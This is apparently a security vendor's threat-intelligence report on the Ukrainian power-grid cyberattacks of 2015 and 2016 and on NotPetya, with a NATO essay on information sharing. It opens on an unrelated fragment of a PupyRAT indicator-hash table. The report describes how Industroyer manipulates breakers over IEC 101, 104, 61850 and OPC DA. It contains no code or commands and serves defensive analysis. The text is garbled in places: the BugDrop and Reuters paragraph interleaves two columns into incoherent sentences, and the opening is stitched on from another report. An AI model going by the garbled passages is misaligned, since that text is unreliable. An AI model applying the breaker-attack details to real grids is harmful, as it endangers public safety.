66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b SHA256 hash Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT 03ea9457bf71d51d8109e737158be888 hash Password-themed lure (Password_Policy.xlsm) delivering PupyRAT d20168c523058c7a82f6d79ef63ea546c794e57b SHA1 hash Password-themed lure (Password_Policy.xlsm) delivering PupyRAT 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b SHA256 hash Password-themed lure (Password_Policy.xlsm) delivering PupyRAT 97cb7dc1395918c2f3018c109ab4ea5b hash PupyRAT (pupyx86.dll) 3215021976b933ff76ce3436e828286e124e2527 SHA1 hash PupyRAT (pupyx86.dll) 8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71 SHA256 hash PupyRAT (pupyx86.dll) Table 2. Threat indicators for the Iranian PupyRAT campaign. Gauging confidence level CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate confidence in their assessments: High confidence generally indicates that judgments are based on high-quality information, and/or that the nature of the issue makes it possible to render a solid judgment. A "high confidence" judgment is not a fact or a certainty, however, and such judgments still carry a risk of being wrong. Moderate confidence generally means that the information is credibly sourced and plausible but not of sufficient quality or corroborated sufficiently to warrant a higher level of confidence. Low confidence generally means that the information's credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources. THREAT INTELLIGENCE REPORT CYBERATTACKS AGAINST UKRAINIAN ICS BY VYTAUTAS BUTRIMAS SUBJECT MAT TER EXPERT, RESEARCH AND LESSONS LEARNED DIVISION, NATO ENERGY SECURITY CENTER OF EXCELLENCE 1 Since 2008 we have seen a steady progression in the severity and scale of cyberattacks on critical infrastructure. In 2010 Stuxnet malware was placed at a nuclear enrichment facility in Iran that tampered with the control of equipment used in a critical process resulting in physical damage. In 2012, malware was used to erase the data on 30,000 computers belonging to one of the world s largest energy companies. Since 2011 malware has been found searching the Internet for locations of particular brands of industrial control equipment. In 2014 the control systems of a German steel mill were compromised denying view and control of equipment which also resulted in physical damage. In the spring of 2015 a sophisticated cyber-attack targeted the communications systems of France s national TV network TV5Monde. The trend for increasing threats from cyberspace is getting worse. Cyber-attacks on critical infrastructure have also become associated with political and even military conflict. In 2008 cyber-attacks coincided with a traditional military operation for the first time in the Russian-Georgian War which arose out of a long political conflict between the two countries over separatists in the Georgian provinces of Abkhazia and South Ossetia. The cyber-attack on Ukraine s power grid just before Christmas in 2015 also occurred in the same context of political-military conflict over Russia s illegal annexation of the Ukrainian province of Crimea. Of even greater concern is that these cyber incidents are suspected to have been caused not by cyber criminals or student hackers but by state supported advanced and persistent threat (APT) actors. The successful cyber-attacks that took place against a Ukrainian regional power grid in December 2015 and the apparently even more sophisticated follow up attack on the Ukrainian capital nearly a year later is another serious wake-up call for security policy practitioners. All of these wake-up calls are taking place in an increasingly militarized cyberspace environment, with many nations treating it as a new domain for military operations. Until the international community recognizes the seriousness of this new threat and organizes its response to manage this unsettling trend in cyberspace, the operators of critical infrastructure can take steps to reduce the risk and potential for damage to their critical systems. The cyber-attacks executed against the Ukrainian power grid and other sectors of critical infrastructure in 2015 are examined with a purpose to derive some useful lessons learned that can be applied by operators of critical infrastructure. In addition to technical solutions, this paper also stresses the importance of information sharing and proposes what policymakers can do to further support the technology based efforts of operators and industry at the international level. The views expressed by V. Butrimas are for NATO, NATO member countries, NATO partners, related private and public institutions and related individuals. These views do not represent the opinions or policies of NATO or NATO ENSEC COE or any other institution. The views presented in the articles are those of the authors alone. BY LAURENT HAUSERMANN SENTRYO CO FOUNDER Since Christmas 2015, the Sentryo Security Labs has analyzed in detail the various reports published by different actors in the cybersecurity world and the available information from malware feeds, technical blogs or social media regarding the Ukainian CyberAttacks. The resulting reports were part of the Threat Monitoring service offered to paying Sentryo customers. Following the second wave of attacks in December 2016, the Sentryo team has decided to publish a public version of this report to share this review. This also includes a technical part on the newly found malware called INDUSTROYER/CrashOverride supposedly used during the second attack. This article also includes a section about the NotPetya attack which recently targeted many Ukrainian businesses and companies doing business with Ukraine. IT cybersecurity analysts tend to look at the attack vectors in depth. They provide great details about the way attacks are developed focusing on the technical perspective. Is the design well made? Does it embed lots of different hacking techniques (0day, obfuscation, etc.)? We think this approach is misleading in the growing field of OT Monitoring cybersecurity. Attack vectors are definitely part of the problem but their physical impact must be careful analysed. OT impacts safety, health and environment where IT is about data. OT impact is about casualties not only money and data losses. Moreover, fear mongering (i.e. tricks to have fear drive the sales process) is not part of the Sentryo culture. That s why we are being very careful and trying to distinguish what can be taken as true from what is, because there is no other evidence, pure speculation. In this document, the reader will have an overview of Facts and Claims made in the cybersecurity community and Sentryo s views on the subject. Our goal is also to share our analysis to the whole SCADA/ICS/DCS/OT security community. Threat intelligence shall be seen as an ongoing public debate between different skilled experts such as instrumentation engineers, control engineers, cybersecurity experts, CISOs, forensics gurus, etc. We welcome any feedback or updates to this document and will definitely include all evidence that is lacking in this version. This document also includes a great contribution that will stress the need for more Threat Information Sharing. We warmly thank its author. To ease the reading and provide a quasi executive summary, we will start with a detailed potential scenario of the first 2015 attack which has been documented. Please note that 2016 incidents do not have enough documentation to provide such a scenario description. It should also be noted that the attack campaign has apparently continued since early january 2017 with new technical elements coming to light regularly. Check out the Sentryo website to download the latest version. At Sentryo, we remain committed to helping industrial asset owners, including when they face a crisis. Do not hesitate to contact us! EXECUTIVE SUMMARY: POTENTIAL SCENARIO FOR THE FIRST AT TACK FACTS & REPORTS CLAIMS 2017 ANOTHER MASSIVE INFECTION "NOTPETYA" USING SENTRYO ICS CYBERVISION TO COPE WITH SUCH AT TACKS THE NEED OF THREAT INFORMATION SHARING BY VYTAUTAS BUTRIMAS CONCLUSION Les contributeurs : Laurent Hausermann - Sentryo Co-founder & COO / Patrice Bock - Sentryo Customer Success Manager Romain Francoise - Sentryo CTO / Antoine de Nervaux - Sentryo Security Engineer DUE TO THE ANALYSIS AND DATA DEVELOPED IN THE PRESENT DOCUMENT, WE ARE ABLE TO DESCRIBE THE MOST PROBABLE AT TACK SCENARIO. INDEED, IT APPEARS THAT IT WAS TARGETING THE CORE OF THE INDUSTRIAL NETWORK: It started with a spear phishing email campaign targeting IT employees. Finally, they performed a telephone denial-of-service attack on the call center right after the attack occurred. It infected the network using BlackEnergy version 3. The attackers used KillDisk to delete the master boot record of critical industrial systems, delete logs and erase software to communicate with breakers. At that point the attackers were able to retrieve VPN credentials to access the industrial network. They disabled backup power, opened grid breakers and overwrote serial-to-ethernet firmware which is used to manipulate grid breakers. he scale of the attack was able to cut power in a whole geographic area of Ukraine as three independent electricity distributors were simultaneously attacked. hey also used hacking techniques to support and amplify the cyberattack. Their goal was clearly to stop, or at least slow down, operations during the power restore processes. Finally, they performed a telephone denial-of-service attack on the call center. Citizens were not able to call their power operator thus amplifying an already chaotic situation. he impact of this attack was that more than 50 substations went offline and more than 200,000 homesremained without electricity for a period of time. Ukrainian operators were able to restore power after 6 hours using manual on-site switches like in the old days THE DECEMBER 23 OUTAGE AT WESTERN UKRAINE PRYKARPAT TYAOBLENERGO/ IVANO - FRANKIVSK PLANT CUT POWER TO MANY CUSTOMERS FOR ABOUT SIX HOURS. REPORTS VARY FROM 80,000 TO 1.4 MILLION CUSTOMERS IMPACTED. VARIOUS ANALYSTS, INCLUDING ESET, A WELL KNOWN ANTIVIRUS VENDOR, HAVE PROVIDED DEEP ANALYSIS OF THE MALWARE. THEY FOUND THAT: The malware was distributed by a dropper . This dropper was an Excel macro embedded in a malicious spreadsheet file. An updated analysis found that there was also an alternate attack based on a Microsoft Word Document embedding macros. In reports about the December 2015 attack, the dropper used a variant of the Black Energy (3rd version) trojan (also called Lancafdo by Symantec). Black Energy is not a new malware. It s been used since 2007 in various campaigns including a famous one in 2014 against energy companies. Black Energy enables attackers to control their malware via a control center (C&C or C2) and enables them to do horizontal propagation (moving from one computer to another). In reports about a replica attack performed in January 2016 (see next page for more details), the compromission chain was different and Black Energy was replaced by a custom-made malware payload based on a variant of the open-source gcat backdoor. Incidentally, the spear phishing email contained an invisible PNG image to track when the victims viewed the email and the PNG was hosted on a server located in France and hosted by Online SAS. The IP pointed to a domain name associated with a Hong Kong company which was probably a collateral victim in this case (compromised web server). In the December campaign the attackers launched a wiper named KillDisk Disakil . This wiper is a destructive malware. It is able to kill processes and services on a server and also wipe (i.e. format) the whole hard disk. A known feature of Disakil is to stop and delete a named service and write its corresponding executable file on the hard drive with random data in order to make restoration of the system more difficult. Disakil was used against the service called sec_service.exe . This service appears to belong to Serial to Ethernet Connector software by Eltima. This software allows access to remote serial ports over network connections. These kinds of remote serial connections are used to pilot PLCs or RTUs which do not have a way to connect via Ethernet (via a dedicated module). This is quite common in old installations that were deployed before 2000. As of April 2016, it is still unclear if the attack itself (breaker opening) was performed remotely using a digital / computerized weapon or was the result of a human and operational lapse but the likelihood of a digital weapon is high. The organization NATO Cooperative Cyber Defence Centre of Excellence (CCD COE) has published a book called Cyber War in Perspective: Russian Aggression against Ukraine . From this book, a presentation at the BlackHat 2016 conference was performed: Cyber War in Perspective: Analysis from the Crisis in Ukraine Kenneth Geers. This talk added some interesting points to this analysis. Mainly, the goal was also to steal VPN credentials to SCADA; to change passwords to access to the electric grid; to disable the backup power; to overwrite the serial-to-ethernet converter firmware; to open 3 circuit breakers; to launch the killdisk and to TDoS (Telephony Denial of Services) customer call center. The impact was more than 50 substations offline and more than 200,000 homes without electricity. FACTS & REPORTS ON DECEMBER 18, 2016 THE SECOND POWER OUTAGE OCCURRED IN UKRAINE CAUSING SOME BLACKOUTS IN KIEV FOR LESS THAN ONE HOUR. THIS WAS THE TIME NEEDED FOR AN EXPERT TEAM TO GO ONSITE AND FIX THE PROBLEM USING A MANUAL PROCEDURE. This second attack was targeting another grid company named Ukrenergo. This incident caused multiple blackouts in the Ukrainian capital - Kiev and a complete power loss for the northern part of Kiev on the right bank of the Dnieper river and the surrounding region. Experts of the grid company were able to fix the situation in less than 1 hour with a manual procedure. This emergency response team was on site 30 minutes after the outage. The faulty component was the automation control systems piloting a substation in a village near the Kiev city. Automation systems in such substations control how power coming from power plants at high voltage is transformed to lower voltage for consumer and industrial use. The main website of the power grid had been unreachable for a couple of days during and after the attack. The head of Ukrenergo had to publish a quick statement on Facebook (provided in the appendix). When the situation had been recovered, the company published an official statement available on their website. It states Among the possible causes of failure are considered hacking and equipment malfunction (crashes). Timely police were involved and conducted a thorough investigation into the accident, which will be to inform the public. By the end of the official investigation into the case management of all objects SE Ukrenergo with automatic control system was transferred to the local level. In the middle of January Ukrenergo confirmed that the source cause of this power outage was malicious. The authors are still undetermined. accounts, and determine the penetration point while tracing computers potentially infected with malware in sleep mode. So far, no huge technical details related to the attack have been released publically. Indeed Marina Krotofil from Honeywell and Oleskii Yasinskiy from ISSP shared some information confirming the attack without going further concerning technical details related to this attack. According to CyberX, a targeted malware campaign called BugDrop could have been performed in the reconnaissance phase. Indeed, the goal was to retrieve a Based on an article from Reuters, maximum amount of information regarding Ukrenergo said in comments emailed to the final target which was the power grid. Reuters: Preliminary findings indicate that The complexity of the malware was quite workstations and Supervisory Control and impressive. Once the target was infected Data Acquisition (SCADA) systems, linked through a targeted phishing campaign and to the 330 kilowatt sub-station "North", the malware deployed, it retrieved a lot were influenced by external sources outside of information from the network and also normal parameters. [...] The analysis of the screenshots, documents, passwords and impact of symptoms on the initial data of audio recordings using the microphone. these systems indicates a premeditated and For each infected target, the data was encrypted with Blowfish using a user-ID multilevel invasion Law enforcement officials and cyber experts The exfiltration was performed through are still working to compile a chronology Dropbox services. The assumption linking of events, draw up a list of compromised this malware and the attack is detailed in the claims section below. FACTS & REPORTS THE 12TH OF JUNE 2017, RESEARCHER ANTON CHEREPANOV FROM ESET PUBLISHED A COMPREHENSIVE TECHNICAL REPORT REGARDING THE MALWARE CALLED INDUSTROYER. DRAGOS HAS ALSO PROVIDED AN IN - DEPTH ANALYSIS UNDER THE NAME OF CRASHOVERRIDE. THIS MALWARE IS PROBABLY LINKED TO THE DECEMBER 2016 UKRAINE AT TACK. INDEED, THIS MALWARE HAS BEEN DESIGNED TO DISRUPT THE WORKING PROCESS OF INDUSTRIAL CONTROL SYSTEMS USED IN ELECTRICAL SUBSTATIONS. INDUSTROYER / CRASHOVERRIDE is the first OT malware designed specifically to attack electric grids. This malware supports four differents industrial protocols: IEC 60870-5-101 (aka IEC 101) IEC 60870-5-104 (aka IEC 104) IEC 61850 OLE for Process Control Data Access (OPC DA) It is obvious that since the first 2015 attack (using Blackenergy and Killdisk) and this malware, there is a huge gap and attackers have improved their capacities. The malware is now able to control switches and breakers. ESET have seen indications that this malware could have been the tool used by attackers to cause the power outage in December 2016. The infection vector remains unknown but the investigation is still ongoing. INSTALLS MAIN BACKDOOR Before going deeper into the malware, let have a look at embedded components. As we can see in the schematic below, the malware embeds: Two backdoors (C&C through HTTPS) A launcher A wiper Four differents payloads corresponding to four different industrial protocols ADDITIONAL BACKDOOR CONTROLS ADDITIONAL TOOLS INSTALLS LAUNCHER EXECUTES DATA WIPER EXECUTES 101 PAYLOAD 104 PAYLOAD Source ESET: Simplified schematic of Win32 / Industroyer components 61850 PAYLOAD OPC DA PAYLOAD Regarding the C&C it is interesting to note that a local proxy configuration has been hardcoded in the malware. The local proxy is the way to access the Internet from the local network. This configuration is adapted to the local network. The fact that the local proxy has been hardcoded in the malware, means having technical knowledge about the target. Due to this, we can conclude that it was a targeted attack. In addition, without proper modification of the malware, it cannot be used on another target. Another interesting thing is the way the malware deploys the backdoor to the victim to be able to spawn a shell, download a file and execute a program. At the beginning, when the backdoor is executed on the victim, it stays in RAM and starts communicating with the C&C. At this moment, through the C&C, information related to the victim is exfiltrated and analyzed to find vulnerabilities on the targeted system. Once found, the exploit is sent through the backdoor (still in ram) to perform a privilege escalation. And now the fun part begins: n initial persistent backdoor (the main) is deployed to replace a non-critical Windows service. second persistent backdoor (the backup) is installed through a malicious Microsoft Notepad on the victim. Each time the Notepad is used the backdoor is also executed. IEC 101 PAYLOAD COMPONENT IEC 104 PAYLOAD COMPONENT The payload uses the IEC101 protocol (IEC 60870-5-101) which is used for communications between industrial control systems and remote terminal units. If the target machine communicates with a RTU using IEC101, the IEC101 payload is used. It parses a configuration file created by the hacker to determine the process s target, it kills it and opens COM ports to communicate with the RTU and also to prevent the original process from communicating with the RTU. Once the communication has been established, the malware sends IEC101 C_SC_ NA_1 and C_DC_NA_1 packets to switch off the RTU at the specified Information Object Address (IOA). This payload uses the IEC104 protocol (IEC 60870-5-104) which is used to send IEC101 on a TCP/IP network. Similar to the IEC101 payload, the DLL reads a configuration file containing information regarding the target including the IP address, the port, the ADSU (Application Service Data Unit) and the operation. The goal of this payload is to connect to a specified IP address and send packets with the ASDU address to interact with the IOA to switch it off. The OT impact is quite important. By using this payload, the malware is able to communicate on the OT network using the IEC104 protocol and to send orders to breakers. At the same time, the malware is also able to communicate on the IT network to receive orders from the C&C servers located outside of the target. IEC 61850 PAYLOAD COMPONENT This payload uses the IEC 61850 standard. This standard describes a protocol used for multi-vendor communication among devices that perform protection, automation, metering, monitoring, and control of electrical substation automation systems. The 61850 payload uses only a small subset of the protocol to produce its disruptive effect. The payload looks for a configuration file defining targets and commands as seen previously. If the payload does not find the file, it starts to scan the network for TCP port 102 (used by IEC 61850). Once found, the payload sends a connection request packet using the COTP protocol. If successful, it sends a InitiateRequest and a getNameList request to compile a list of targets, variables and contents. Afterwards, the payload parses received data for variables that contain the strings CSW (corresponds to logical nodes used to control circuit breakers and switches). For each of them it will try a read and a write order to change the position of the breaker. OPC DA PAYLOAD COMPONENT This last payload implements a client for the OPC Data Access protocol. Once executed, the payload enumerates all OPC servers and OPC items and the server. In the payload source code, we can see that it is looking for specific strings in OPC item names (ctlSelOn, ctlOperOn...). These names may suggest an interest in ABB solutions such as the MicroSCADA range. For each of the found OPC items, the payload changes its states. ON JUNE 27 TH , THE UKRAINIAN RADIO HOLOS STOLYTSY WERE ABLE TO CONTINUE THE RADIO DIFFUSION USING AN ANALOG RADIO EMETOR: THEIR MAIN SERVER WAS INFECTED BY A MALWARE... NOTPETYA WAS BORN Still in 2017, another massive attack has been performed against ukrainian critical infrastructure. Although the payload did not include exploits targeting industrial systems, it did significantly impact manufacturing plants, as well in Ukraine as world-wide, with 6-figure losses at several european corporations. What happened: on June 27th, the main server of the Ukrainian radio Holos Stolytsy was infected by a malware. The radio was only able to continue the diffusion using an analog radio emetor. This was NotPetya s first strike! Soon after this first detection, other infections were quickly detected around the world. But NotPetya is not Petya: let s not mix the original 2016 Petya ransomware and the one we are talking about, which is not a ransomware, and therefore was named NotPetya Basically, a ransomware is a malware that prevents file usage (e.g. using encryption) and requests a ransom to decrypt them. Petya is a ransomware published in March 2016. The one which started in June 27th is quite different although based on the ransomware Petya. The main difference is the fact that it is not a ransomware. Once NotPetya is executed on a platform, it encrypts the whole hard drive but does not exfiltrate or embed a method to decrypt stored data. It means that NotPetya s authors were not interested in money. NotPetya embeds an effective infection method using the same exploits that Wannacry uses, targetting Windows SMB. Unlike Wannacry, NotPetya tries to exploit remote machines located on the same local network. But the main point is NotPetya has functionalities to retrieve and exfiltrate passwords and some remote administration functionalities. We can directly conclude that NotPetya was not designed to make money or to control a BotNet but instead to infect a precise target. The initial infection vector came from a malicious update of the Ukrainian countability software M.E.Doc. Indeed, hackers took the control of a M.E.Doc s server update and infected an update with NotPetya. This Ukrainian radio was not an isolated case. In fact, lots of Ukrainian institutions and companies have also been infected and, since NotPetya continued to spread itself through SMB, the infection rate was quite high. Several French companies, like Saint Gobain, have also been infected. As for previous attacks using the same vulnerability (Wannacry for instance), industrial systems were impacted, because of either direct network connections between IT and OT domains, or laptops or other equipments connected to both domains. Determining the goal or attributing the malware to a country is quite hard. Russian Rosneft also has been impacted. The Ukrainian Cyber Police officially confirmed that M.E.Doc servers were backdoored on three different occasions. The total losses, due to the alleged negligence of Intellect-Service, might be in the range of $1bn considering that St Gobain alone has declared a loss of $250M in revenue. 2015 INCIDENT Ukraine's state security service SBU has blamed Russia but the nation's energy ministry said it would hold off on attribution until after it finishes a formal probe. press statement on the SBU website alleged the discovery of malicious software responsible for these outages on the networks of regional power companies. According to the SBU press statement, the cyberattack was accompanied by a barrage of phone calls to their technical support telephone numbers which would have acted like a denial of service (DoS) attack. U.S. cyber intelligence firm iSight Partners said it has determined that a Russian hacking group known as Sandworm caused this unprecedented power outage in Ukraine. Many other US based companies are pointing to Sandworm as the hacking unit. Some press organizations are claiming this is the first known Grid hack. They should remember, even unconfirmed, that the 2003 blackout in the US east coast may have been caused by a cyberattack. Also, the FBI has already claimed that Daesh has tried unsuccessfully to hack the national US power grid. According to the SANS ICS blog, the attack was a coordinated effort which targeted several power sub-companies and included a flooding attack on their phone support systems to prevent legitimate customers from reporting a power cut which would alert the on-call personnel to the problem. According to the same source (unconfirmed), the staff in the affected companies acted quickly to bypass the SCADA systems and run everything in manual mode by acting on the main breakers which restored service in under 6 hours. This would not have been possible in a modern grid installation which relies heavily on automation and t be run in manual mode Ukrainian telecoms engineer has raised doubts about the widely reported link between BlackEnergy attacks and power outages in his country. Named Illia Illin, per The Register article, he claims First of all, there weren't any blackouts in Boryspil (KBP) investigation team led by US government officials has released a report as part of the ICS-CERT initiative (see sources section). This report remains vague about the exact insertion methods and attacker techniques and focuses on proactive defenses that would have prevented the attack. Also, in the current political context, it s hard to imagine that interviews of Ukrainian operators by US government officials would be 100% factual and accurate. SANS ICS has released a new detailed report which summarizes the information collected by the investigation team (see sources for DUC5 ). The report uses the Cyber Kill Chain framework to characterize the different phases of the attack. However, many technical details remain vague (especially concerning attacker reconnaissance and remote control by VPN). An analysis of the alleged malware used is provided. The RAT tool used by the attacker is not mentioned. 2016 INCIDENT Several assumptions have been released since this second outage. For the time being, technical details regarding the attack have not been published. The only technical finding is the threat vector. Indeed, the SCADA stations had been compromised by an external source. Marina Krotofil, lead cyber-security researcher at Honeywell who assisted in the investigation, declared It was an intentional cyber incident not meant to be on a large scale... they actually attacked more but couldn t achieve all their goals . Also from Marina Krotofil, hackers are thought to have hidden in Ukrenergo s IT network undetected for six months, acquiring privileges to access systems and figure out their workings, before taking methodical steps to take the power offline . So far, we have no information confirming that the techniques used are the same or not. According to CyberX, the malware used during the BugDrop operation detailed in the facts section could have been used during the reconnaissance phase. Indeed, the compilation date and some targets may lead to this conclusion. The malware was compiled several times between June 2016 and end of October 2016. Concerning identified targets here is the list: A company that designs remote monitoring systems for oil & gas pipeline infrastructures. An international organization that monitors human rights, counter-terrorism and cyberattacks on critical infrastructure in the Ukraine. An engineering company that designs electrical substations, gas distribution pipelines, and water supply plants. A scientific research institute. Editors of Ukrainian newspapers. The assumption linking this malware and the attack is based on these targets mainly located in Ukraine and linked to energy but also due to techniques used like the reflective DLL injection (loading malicious code without calling the normal Windows API calls) which was used during the first attack. Another hint comes from the compilation time. SENTRYO ICS CYBERVISION OFFERS AN OT MONITORING SOLUTION THAT PROVIDES AN OPERATIONAL CAPACITY TO PREVENT, DETECT AND RESPOND TO CYBERAT TACKS. ICS CyberVision continuously listen communications between devices on the OT network and extract meaningful data. Those data are then used to create a behavorial template of the OT network which is then used as a white list to detect anomalies. ICS CyberVision use IA algorithms to caracterise and prioritize those anomalies in order to eliminate false positive and facilitate the remediation process. In addition scripts from Sentryo Security Labs are provided to ICS CyberVision users. These scripts use the CyberVision Center API to mine their CyberVision installations to check for some Indicators of Compromise (IOC). In the case of organization is in the energy sector and may have been targeted by this new Black Energy campaign or the latest Grizzly Steppe (see the DHS report), we strongly encourage them to run these scripts and check their ICS. Moreover, if ICS CyberVision had been deployed inside the process and control networks of an Energy corporation, it would have detected several weak signals enabling the local team to stop the attacks early: Regarding Black Energy, ICS CyberVision would have detected unknown connections to a remote Internet website (the C&C channels). These connections would have been seen as a change compared to the baseline (a set of given network behaviors) defined by plant operators. Regarding Industroyer/CrashOverride, ICS CyberVision would have detected any new connections to a remote Internet website (the C&C channels), and also new and strange behaviours on the OT networks like multiple OT network scans and critical OT communications like orders. Regarding the Disakil wiper , ICS CyberVision would have detected the disappearance of TCP connections between the SCADA stations and the PLCs / RTUs. The defined baseline includes these connections and the fact that they stopped being active would have automatically been detected as a change by the difference engine. Regarding the breaker manipulation, ICS CyberVision would have analysed IEC 101 (serial over ethernet) flows and detected the order to open up the breaker and to switch off power. CyberVision would help to trace down the hackers to particular infected machines. Regarding the Siemens safety equipment DoS vulnerability used by Industroyer (CVE-2015-5374), it will be detected by ICS Cybervision thanks to its Knowledge Database. Back in 2015, Siemens provided a firmware update fixing this issue. It is even more important today to patch these equipments. Our solution can help by clearly identifying the potentially affected devices in the network. The only vector which would have remained undetected by ICS CyberVision is the dropper i.e. an Excel spreadsheet or Word document in later case. It is the responsibility of an email gateway or an endpoint protection software to detect such attack vectors. The malware could also have been inserted via a malicious USB drive and only endpoint protection software can prevent these attacks. Since Stuxnet, the malware Industroyer / CrashOverride is the first advanced and targeted industrial malware we have seen with this level of maturity. From a defense point of view, this malware also shows the need for an ICS network security monitoring capability to be able to detect these advanced attacks early in the kill chain. s have look at the kill chain and the malware impact. This is important because investigations are still ongoing and some information may have not been communicated. Because of this, Phase 1 and part of the Phase 2 are pure assumptions using our experience and external claims: PHASE 1 PREPARATION 1. RECONNAISSANCE harvesting for email; industrial protocol used and target proxy configuration 2. WEAPONIZATION development of the malware including the dropper, industrial payloads, the backdoor, the wiper and the C&C server PHASE 2 INTRUSION 3. DELIVERY probably an email with a link or an attachment to the dropper 4. EXPLOITATION find and exploit a vulnerability on the victim s computer to be able to install the malware 5. INSTALLATION install the malware as a non-critical Windows service program and install a new malicious Microsoft Notepad program PHASE 3 ACTIVE BREACH 6. COMMAND & CONTROL ( C&C OR C2) communicate regularly with the C&C (the active period can be configured) 7. ACTIONS AND OBJECTIVES scan the network using embedded payloads and configuration files dropped by the C&C; detect any breaker; turn it off and use the wiper. BY VYTAUTAS BUTRIMAS - SUBJECT MAT TER EXPERT, RESEARCH AND LESSONS LEARNED DIVISION, NATO ENERGY SECURITY CENTER OF EXCELLENCE 2 Today s cyber attacker is several steps ahead of the defender. This is especially so in the case of a single operator trying to defend against a state resourced APT attacker. This is an unfair match, similar to a high-school soccer team s chances of defeating a FIFA World Cup contender. It is no contest unless the school team capabilities are significantly enhanced. It is important to realize that the operatordefender has a complex task of managing and protecting increasingly interconnected and sophisticated systems enabled with the latest advances in information and communications technologies (ITC). Technologies that in addition to providing new features and possibilities for remote management and control also introduce vulnerabilities for an adversary to exploit. The operator now faces a difficult challenge in managing systems that are vulnerable to not only intentional but also unintentional cyber incidents. Incidents that result from errors in managing interconnected and complex systems. The attacker needs only to find a single weakness in the design or exposed vulnerability in order to defeat all the wide-ranging efforts of the defender. In order for the operator of critical infrastructure to avoid becoming an isolated target for an adversary that often is several steps ahead of the defender he must improve his relationship among operators of critical infrastructure, manufacturers, academia and Government institutions responsible for cybersecurity. The aim should be in setting up a mechanism that will facilitate the timely sharing of information on cyber threats, coordinating a response to an incident and sharing lessons learned. At the local level, National cybersecurity councils that represent the communities of interest (CoI) should be created as a first step in setting up a national cybersecurity capacity for protecting critical infrastructure from these advanced and persistent threats from cyberspace. of the problem. In addition to the high level National council a working level network for timely sharing of threat information and lessons learned should be created for dealing with immediate issues and facilitating coordinated effective response in times of emergency. In summary it is only through cooperation and sharing of information among a community of interest that an operator-defender can hope to deal with today's advanced and persistent threats emanating from cyberspace. This is not an easy task since fear of lawsuits, embarrassment and concerns for confidentiality often make operators as well as manufacturers of control equipment reluctant to share the information needed to enhance resilience and enhance recovery capabilities. This lack of sharing can only contribute to making defenders more isolated and less aware of the significance The views expressed by V. Butrimas are for NATO, NATO member countries, NATO partners, related private and public institutions and related individuals. These views do not represent the opinions or policies of NATO or NATO ENSEC COE or any other institution. The views presented in the articles are those of the authors alone. THIS CASE DEMONSTRATES THAT IS VERY HARD TO: COLLECT ENOUGH DATA TO HAVE A DEEP TECHNICAL UNDERSTANDING OF THE HACKERS TECHNIQUES AND TACTICS, ESTABLISH THE IDENTITY OF THE DIFFERENT ACTORS, KNOW IF THE CYBERAT TACK WAS SPECIFICALLY BUILT TO IMPACT ONLY THIS INDUSTRIAL FACILITY, MAKING THE DIFFERENCE BETWEEN FACTS AND CLAIMS. The case also demonstrates the absolute need for a monitoring capability on such ICS systems. Indeed, this kind of attack is quite hard to avoid when your IT network has been infected. Nevertheless, with adapted tools, hints of attack and / or compromission on the industrial network can be detected in order to prevent and / or mitigate the attack as soon as possible. Everyone reading cybersecurity reports must keep in mind that Ukraine is at war with Russia. This tense international context probably explains the large number of different statements made by the Ukrainian and Russian governments. In any case, this cyberattack should not be seen as a new Stuxnet. Black Energy is a quite old malware. No zero-day (i.e. unknown attack vector) was used. The destruction payloads, even if they are very impactful, are quite trivial without a fine-grained PLC reprogrammation. This attack underlines the extreme weakness of OT components which were never designed with maliciousness in mind. As always, the Sentryo security team is deeply involved in the identification and analysis of the latest industrial threat vectors. We will follow the ongoing investigation related to the Ukraine attack. FROM THE FOREWORD Critical Infrastructure: refers to assets of physical and computer-based systems that are essential to the minimum operations of an economy and its government. They include telecommunications, energy, banking and finance, transportation, water systems and emergency services, both government and private. http://www.infracritical.com/?page_id=73 Langner, R., To Kill a Centrifuge, http://www.langner.com/en/wp-content/uploads/2013/11/ To- kill-a-centrifuge.pdf Rashid, F., Inside The Aftermath Of The Saudi Aramco Breach, Dark Reading, 8/8/2015 http://www.darkreading.com/attacks-breaches/inside-theaftermath-of-the- saudi-aramco-breach/d/d-id/1321676 Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E) US ICS-CERT https://ics-cert.us- cert.gov/alerts/ICS-ALERT- 14-281- 01B Original release date: December 10, 2014 http://www.welivesecurity.com/2016/01/20/new-waveattacks-ukrainian-power-industry/ https://securelist.com/blog/research/73440/blackenergyapt-attacks-in-ukraine-employ-spearphishing-with-worddocuments/ https://www.sentinelone.com/wp-content/ uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf https://ics.sans.org/blog/2016/01/09/confirmation-of-acoordinated-attack-on-the-ukrainian-power-grid https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01 https://ics.sans.org/duc5 http://www.reuters.com/article/us-ukraine-cyber-attackenergy-idUSKBN1521BA https://motherboard.vice.com/en_us/article/there-willalways-be-internet-outages-so-buckle-up https://www.youtube.com/watch?v=lTwsDLO3C44 Sandworm and SCADA, Trend Micro http://blog.trendmicro.com/sandworm-and-scada/ October 16, 2014 https://motherboard.vice.com/en_us/article/who-hackedthe-lights-in-ukraine The State of IT Security in Germany 2014, Federal IT Department (BSI) Germany. p. 31. https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/ Publications/Securitysituation/IT-Security-Situation-inGermany- 2014.pdf?__blob=publicationFile&v=3 CLAIMS FIRST INCIDENT REPORTS http://www.oe.if.ua/showarticle.php?id=3413 http://briz.if.ua/33432.htm SECOND INCIDENT REPORTS http://www.ukrenergo.energy.gov.ua/pages/en/detailsnew. aspx?nid=3387 http://www.theregister.co.uk/2016/01/27/ukraine_ blackenergy_analysis/ https://cyberx-labs.com/en/blog/operation-bugdropcyberx-discovers-large-scale-cyber-reconnaissanceoperation/ http://in.reuters.com/article/ukraine-crisis-cyber-attacksidINKBN1491QI http://cert.gov.ua/?p=2464 GCAT C&C CONTROL USING GMAIL http://www.reuters.com/article/us-ukraine-cyber-attackenergy-idUSKBN1521BA https://github.com/byt3bl33d3r/gcat INTECH / ISA ANALYSIS NATO CCD COA InTech, March/April 2017 issue, special section Cybersecurity , a publication of the International Society of Automation wwww.isa.org/intech 